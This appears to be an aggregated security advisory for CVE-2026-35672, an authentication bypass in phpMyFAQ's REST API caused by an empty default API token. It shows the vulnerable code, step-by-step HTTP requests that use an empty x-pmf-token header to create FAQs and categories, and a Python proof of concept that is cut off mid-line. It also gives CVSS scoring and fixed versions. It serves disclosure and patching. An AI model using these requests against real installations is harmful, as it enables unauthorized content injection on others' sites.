phpMyFAQ: Default Empty API Token Authentication Bypass
A default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds api.apiClientToken with an empty string, and the hasValidToken() comparison logic cannot distinguish between "no token configured" and "attacker sent a matching empty token header."
The root cause is in two files:
1. Installation default (src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php, line 277-278):
```php
'api.enableAccess' => 'true',
'api.apiClientToken' => '', // ← defaults to empty string
```
2. Authentication check (src/phpMyFAQ/Controller/AbstractController.php, line 198-204):
```php
protected function hasValidToken(): void
{
$request = Request::createFromGlobals();
if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) {
throw new UnauthorizedHttpException('"x-pmf-token" is not valid.');
}
}
```
The method uses strict inequality (!==). When api.apiClientToken is '' (default) and the attacker sends x-pmf-token: (empty header value), the comparison becomes '' !== '' which evaluates to false — no exception is thrown, and authentication is completely bypassed.
The OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged 'Endpoints with Authentication' and document HTTP 401 responses, while read-only endpoints are tagged 'Public Endpoints'.
The following API endpoints call $this->hasValidToken() as their only authentication check:
| File | Endpoint | Method |
| ------------------------------------------------------- | ---------------------- | ------ |
| src/.../Controller/Api/FaqController.php:701-703 | /api/v4.0/faq/create | POST |
| src/.../Controller/Api/FaqController.php:857-859 | /api/v4.0/faq/update | PUT |
| src/.../Controller/Api/CategoryController.php:278-280 | /api/v4.0/category | POST |
| src/.../Controller/Api/QuestionController.php:89-91 | /api/v4.0/question | POST |
Environment: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults.
Step 1 — Verify that requests without auth header are correctly rejected:
```http
POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
{
"language": "en",
"category-id": 1,
"question": "Test Question",
"answer": "Test Answer",
"keywords": "test",
"author": "test",
"email": "[email protected]",
"is-active": true,
"is-sticky": false
}
```
Response (HTTP 401 — correctly blocked):
```json
{"type":".../problems/unauthorized","title":"Unauthorized","status":401,"detail":"Unauthorized access.","instance":"/v4.0/faq/create"}
```
Step 2 — Send the same request with an empty x-pmf-token header:
```http
POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token:
{
"language": "en",
"category-id": 1,
"question": "[POC] Authentication Bypass Confirmed",
"answer": "This FAQ was created without any valid authentication token.",
"keywords": "poc,bypass",
"author": "Security Researcher",
"email": "[email protected]",
"is-active": true,
"is-sticky": false
}
```
Response (HTTP 201 — bypass confirmed):
```json
{"stored": true}
```
Step 3 — Category creation via the same bypass:
```http
POST /api/v4.0/category HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token:
{
"language": "en",
"parent-id": 0,
"category-name": "POC_Category",
"description": "Category created via empty token bypass",
"user-id": 1,
"group-id": -1,
"is-active": true,
"show-on-homepage": true
}
```
Response (HTTP 201):
```json
{"stored": true}
```
Step 4 — Verify injected content is publicly visible:
```http
GET /api/v4.0/faqs/1 HTTP/1.1
Host: <target>
```
Response (HTTP 200 — injected FAQ publicly exposed):
```json
[{"record_id":1,"record_lang":"en","category_id":1,"record_title":"[POC] Authentication Bypass Confirmed","record_preview":"This FAQ was created without any valid authentication token. ..."}]
```
PoC with Python (urllib — no external dependencies):
```python
import urllib.request, json
TARGET = "http://<target>"
HEADERS = {"Content-Type": "application/json", "x-pmf-token": ""}
# Create FAQ via empty token bypass
data = json.dumps({
"language": "en", "category-id": 1,
"question": "[POC] Auth Bypass", "answer": "Created via bypass.",
"keywords": "poc", "author": "R", "email": "[email protected]",
"is-active": True, "is-sticky": False
}).encode()
req = urllib.request.Request(f"{TARGET}/api/v4.0/faq/create", data=data, headers=HEADERS,
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability none.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
CVE-2026-35672 is classified as CWE-1188: Insecure Default Initialization of Resource. Default settings are insecure, so an installation is exposed until someone changes them.
CVE-2026-35672 is recorded against 3 packages.
Published on 20 May 2026 and last revised on 9 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
www.vulncheck.com (Web)
phpmyfaq/phpmyfaq has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-1188: Insecure Default Initialization of Resource) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| phpmyfaq/phpmyfaq | — | 4.1.3 |
| thorsten/phpmyfaq | — | 4.1.3 |
| unknown | — | — |
References
Similar Threats
Site Security Check
CVE-2026-35672 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.